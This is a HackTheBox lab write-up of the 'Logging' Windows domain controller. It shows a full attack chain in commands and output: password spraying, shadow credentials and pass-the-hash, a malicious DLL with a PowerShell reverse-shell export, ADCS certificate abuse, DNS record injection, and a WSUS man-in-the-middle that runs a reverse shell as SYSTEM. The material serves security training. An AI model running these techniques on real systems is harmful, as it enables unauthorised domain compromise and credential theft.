# Logging Writeup - HackTheBox

> Windows medium box involving log analysis and exploitation of logging mechanisms to gain foothold and escalate privileges through misconfigured services.

- **URL:** https://hackindex.io/writeups/logging
- **Platform:** HackTheBox
- **Difficulty:** Medium
- **Operating system:** Windows
- **Machine:** https://hacktheboxltd.sjv.io/logging
- **Tags:** active-directory, as-rep-roasting, adcs, bloodhound, privilege-escalation, log-analysis
- **Authors:** [Joshua](https://hackindex.io/authors/joshua.md)
- **Read time:** 7 min read
- **Published:** 2026-04-18
- **Updated:** 2026-08-08

## Discovery

### Port Scan

```bash
scan_tcp_full $TARGET_IP
# PORT      STATE SERVICE       VERSION
# 53/tcp    open  domain        Simple DNS Plus
# 80/tcp    open  http          Microsoft IIS httpd 10.0
# 88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
# 139/tcp   open  netbios-ssn
# 389/tcp   open  ldap          Microsoft Windows AD LDAP (Domain: logging.htb)
# 445/tcp   open  microsoft-ds
# 464/tcp   open  kpasswd5
# 636/tcp   open  ssl/ldap
# 3269/tcp  open  ssl/ldap
# 5985/tcp  open  http          Microsoft HTTPAPI (WinRM)
# 8530/tcp  open  http          Microsoft IIS httpd 10.0
# 8531/tcp  open  ssl/unknown   (CN=DC01.logging.htb)
# 9389/tcp  open  mc-nmf        .NET Message Framing
# Service Info: Host: DC01; OS: Windows
```

This is a Domain Controller for `logging.htb`. Ports 8530/8531 are WSUS (Windows Server Update Services). Sync the clock immediately to avoid Kerberos issues:

```bash
sudo timedatectl set-ntp false
sudo ntpdate $TARGET_IP
```

Add hosts entries:

```bash
echo "$TARGET_IP logging.htb DC01.logging.htb" | sudo tee -a /etc/hosts
```

## Initial Access

### Credential Discovery ,  Logs Share

First credentials come from HackTheBox: `wallace.everette` / `$WALLACE_PASSWORD`. With these, enumerate LDAP and SMB:

```bash
nxc ldap $TARGET_IP -u wallace.everette -p '$WALLACE_PASSWORD' --users
# Administrator, Guest, krbtgt, svc_recovery, jaylee.clifton, monique.chip,
# kyson.abel, fable.milford, wellington.kylan, serina.philander,
# wallace.everette, toby.brynleigh
```

```bash
nxc smb $TARGET_IP -u wallace.everette -p '$WALLACE_PASSWORD' --shares
# Share       Permissions
# -----       -----------
# IPC$        READ
# Logs        READ
# NETLOGON    READ
# SYSVOL      READ
# WSUSTemp    (no access)
```

The `Logs` share is non-standard. Download everything:

```bash
smbclient //$TARGET_IP/Logs -U wallace.everette%'$WALLACE_PASSWORD' \
  -c 'recurse ON; mget *'
```

Four log files arrive. `IdentitySync_Trace_20260219.log` contains a verbose connection context dump from an identity sync service:

```
VERBOSE - ConnectionContext Dump: { Domain: "logging.htb", Server: "DC01",
  SSL: "False", BindUser: "LOGGING\svc_recovery",
  BindPass: "$SVC_RECOVERY_PASSWORD_OLD", Timeout: 30 }
ERROR - AcceptSecurityContext error, data 52e — LDAP_INVALID_CREDENTIALS
```

The password logged is stale (the service failed authentication with it), but the pattern is clear: the password was rotated. The `pwlist.txt` file in the share contains a wordlist of likely password variants. Spray against all users:

```bash
nxc ldap $TARGET_IP -u users.txt -p pwlist.txt --continue-on-success
```

The updated password for `svc_recovery` matches one of the variants: `$SVC_RECOVERY_PASSWORD`.

### Shadow Credentials → msa_health$ NT Hash

`svc_recovery` has `STATUS_ACCOUNT_RESTRICTION` on SMB and WinRM ,  interactive logon is blocked, but LDAP works. Get a TGT via Kerberos and use it to query the GMSA:

```bash
impacket-getTGT logging.htb/svc_recovery:'$SVC_RECOVERY_PASSWORD'
export KRB5CCNAME=svc_recovery.ccache
```

BloodHound shows `svc_recovery` has write access to `msa_health$`'s `msDS-KeyCredentialLink` attribute. Use pywhisker to add a shadow credential:

```bash
pywhisker -d logging.htb -u svc_recovery -k \
  -t 'msa_health$' --action add --dc-ip $TARGET_IP
# [+] Updated the msDS-KeyCredentialLink attribute of msa_health$
# [+] Saved PFX (#PKCS12) certificate & key at path: CQFHM4TB.pfx
# [*] Must be used with password: $PFX_PASSWORD
```

Get a TGT for `msa_health$` using PKINIT:

```bash
python3 gettgtpkinit.py \
  -cert-pfx CQFHM4TB.pfx -pfx-pass '$PFX_PASSWORD' \
  logging.htb/'msa_health$' msa_health.ccache \
  -dc-ip $TARGET_IP
# AS-REP encryption key: $ASREP_KEY
# Saved TGT to file
```

Recover the NT hash:

```bash
export KRB5CCNAME=msa_health.ccache
python3 getnthash.py -key $ASREP_KEY logging.htb/'msa_health$'
# Recovered NT Hash
# $MSA_HEALTH_HASH
```

### Shell as msa_health$

```bash
evil-winrm -i $TARGET_IP -u 'msa_health$' -H $MSA_HEALTH_HASH
# *Evil-WinRM* PS C:\Users\msa_health$\Documents>
```

## Lateral Movement ,  DLL Hijack via UpdateMonitor

### Scheduled Task Analysis

A `monitor.ps1` sits in the `msa_health$` documents folder. It monitors the `UpdateChecker Agent` scheduled task via COM. Inspect that task directly:

```powershell
$service = New-Object -ComObject "Schedule.Service"
$service.Connect()
$task = $service.GetFolder("\").GetTask("UpdateChecker Agent")

$task.Definition.Actions | ForEach-Object { $_.Path; $_.Arguments }
# "C:\Program Files\UpdateMonitor\UpdateMonitor.exe"
# 500 /scan=3 /autofix=true

$task.Definition.Principal | Select-Object *
# UserId: jaylee.clifton
# LogonType: 1
```

The task runs as `jaylee.clifton` every minute. Reverse-engineer `UpdateMonitor.exe` via strings:

```powershell
C:\ProgramData\UpdateMonitor\Settings_Update.zip
C:\Program Files\UpdateMonitor\bin\settings_update.dll
"Loading update applier: "
"Calling 'PreUpdateCheck' in "
```

The binary checks for `Settings_Update.zip` at a writable path, extracts `settings_update.dll` into `C:\Program Files\UpdateMonitor\bin\`, then calls the exported `PreUpdateCheck` function. `msa_health$` can write to `C:\ProgramData\UpdateMonitor\`:

```powershell
[System.IO.File]::OpenWrite("C:\ProgramData\UpdateMonitor\test.txt").Close()
# succeeds
```

The task context runs as `jaylee.clifton`. This is a DLL hijack into that user's session.

### Building the Malicious DLL

The binary is 32-bit ,  confirm with a PE header check before compiling:

```powershell
$bytes = [System.IO.File]::ReadAllBytes("C:\Program Files\UpdateMonitor\UpdateMonitor.exe")
if ($bytes[[BitConverter]::ToInt32($bytes, 0x3c) + 4] -eq 0x8664) { "64-bit" } else { "32-bit" }
# # 32-bit
```

Build a 32-bit DLL with a PowerShell reverse shell in the `PreUpdateCheck` export:

```c
#include <windows.h>
#include <stdlib.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    return TRUE;
}

__declspec(dllexport) void PreUpdateCheck() {
    system("cmd /c powershell -e <BASE64_REVERSE_SHELL>");
}
```

```bash
i686-w64-mingw32-gcc -shared -o settings_update.dll settings_update.c
zip Settings_Update.zip settings_update.dll
```

Upload and watch the log:

```powershell
upload Settings_Update.zip "C:\ProgramData\UpdateMonitor\Settings_Update.zip"
Get-Content "C:\ProgramData\UpdateMonitor\Logs\monitor.log" -Wait
# [2026-04-18 21:17:15] Successfully unzipped update to C:\Program Files\UpdateMonitor\bin\
# [2026-04-18 21:17:15] Loading update applier: C:\Program Files\UpdateMonitor\bin\settings_update.dll
# [2026-04-18 21:17:15] Calling 'PreUpdateCheck' in settings_update.dll
```

```bash
rslisten tun0 $ATTACKER_PORT
# listening on [$ATTACKER_IP] $ATTACKER_PORT ...
# connect to [$ATTACKER_IP] from DC01
# PS C:\Windows\system32>
```

Shell as `jaylee.clifton`. Grab `user.txt` from `C:\Users\jaylee.clifton\Desktop\`.

## Privilege Escalation ,  WSUS MITM

### Enumerating the WSUS Setup

```powershell
Invoke-SharpWSUS locate
# # WSUS Server: https://wsus.logging.htb:8531
```

```powershell
net localgroup administrators
# # toby.brynleigh (local admin)
# # Administrator, Domain Admins, Enterprise Admins
```

`jaylee.clifton` is a member of the `IT` group. Checking the Windows Update registry policy:

```powershell
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate"
# # WUServer:       https://wsus.logging.htb:8531
# # UseWUServer:    0x1
```

The machine trusts a WSUS server at `wsus.logging.htb` over HTTPS (port 8531). If we can MitM that hostname, we can push a fake update that runs as `SYSTEM` via PsExec.

### Obtaining a Valid TLS Certificate via ADCS

`jaylee.clifton` can request certificates. Enumerate the CA and available templates:

```bash
# First, get a delegation TGT on the target then convert to ccache
# Rubeus tgtdeleg /nowrap → base64 decode → ticketConverter
impacket-ticketConverter jaylee.kirbi jaylee.ccache
export KRB5CCNAME=jaylee.ccache
```

Request a certificate for `wsus.logging.htb` using the `UpdateSrv` template (allows DNS SAN):

```bash
certipy req -u 'jaylee.clifton@logging.htb' -k -no-pass \
  -target dc01.logging.htb \
  -ca logging-DC01-CA \
  -template UpdateSrv \
  -subject CN=wsus.logging.htb \
  -dns wsus.logging.htb \
  -out output.pfx -dc-ip $TARGET_IP
# [*] Got certificate with DNS Host Name 'wsus.logging.htb'
# [*] Wrote certificate and private key to 'output.pfx'
```

Extract the cert and key for use in the WSUS server:

```bash
certipy cert -pfx output.pfx -nokey -out cert.crt
certipy cert -pfx output.pfx -nocert -out key.pem
cat cert.crt key.pem > wsus.pem
```

### DNS Injection ,  Point wsus.logging.htb at the Attacker

Using `dnstool.py` from krbrelayx with `jaylee.clifton`'s Kerberos ticket, add an A record pointing `wsus.logging.htb` to the attacker machine:

```bash
python3 dnstool.py \
  -u 'logging.htb\jaylee.clifton' -k \
  -dc-ip $TARGET_IP -dns-ip $TARGET_IP \
  -a add -r wsus.logging.htb -d $ATTACKER_IP -t A \
  dc01.logging.htb
# [+] LDAP operation completed successfully
#
```

Also add `wsus.logging.htb` to the attacker's `/etc/hosts` so the WSUS server binds correctly:

```bash
echo "$ATTACKER_IP wsus.logging.htb" | sudo tee -a /etc/hosts
```

### WSUS MITM with wsuks

Start the fake WSUS server using the legitimate domain-signed certificate. The payload is PsExec running a PowerShell reverse shell as SYSTEM:

```bash
sudo wsuks \
  --serve-only \
  --WSUS-Server wsus.logging.htb \
  --WSUS-Port 8531 \
  --tls-cert wsus.pem \
  -I tun0 \
  -c '/accepteula -s cmd.exe /c "powershell -e <BASE64_REVERSE_SHELL>"'
# [+] Received POST request: GetConfig
# [+] Received POST request: GetCookie
# [+] Received POST request: SyncUpdates
# [+] Received POST request: GetExtendedUpdateInfo
# [+] GET request for exe: PsExec64.exe
# [+] GET request for exe: PsExec64.exe
```

```bash
rslisten tun0 5555
# listening on [$ATTACKER_IP] 5555 ...
# connect to [$ATTACKER_IP] from DC01
#
# PS C:\Users> cd toby.brynleigh\Desktop
# PS C:\Users\toby.brynleigh\Desktop> cat root.txt
```

Root flag obtained from `toby.brynleigh`'s desktop ,  the local administrator account.

Related

## References

- [pywhisker](https://github.com/ShutdownRepo/pywhisker) - Shadow Credentials manipulation tool
- [PKINITtools](https://github.com/dirkjanm/PKINITtools) - gettgtpkinit and getnthash for PKINIT-based NT hash recovery
- [wsuks](https://github.com/NeffIsBack/wsuks) - WSUS MITM attack tool
- [krbrelayx / dnstool.py](https://github.com/dirkjanm/krbrelayx) - DNS record injection via LDAP with Kerberos auth
- [Nettitude: SharpWSUS and WSUS Attack Weaponization ](https://www.nettitude.com/uk/research-blog/sharphound-and-wsus-weaponization) - Phil Keeble
- [SharpWSUS](https://github.com/nettitude/SharpWSUS) - WSUS abuse tool (Invoke-SharpWSUS)
- [ ly4k/Certipy](https://github.com/ly4k/Certipy) - Active Directory Certificate Services enumeration and exploitation
- [Microsoft Docs: Windows Server Update Services (WSUS) overview](https://learn.microsoft.com/en-us/windows-server/administration/windows-server-update-services/get-started/windows-server-update-services-wsus)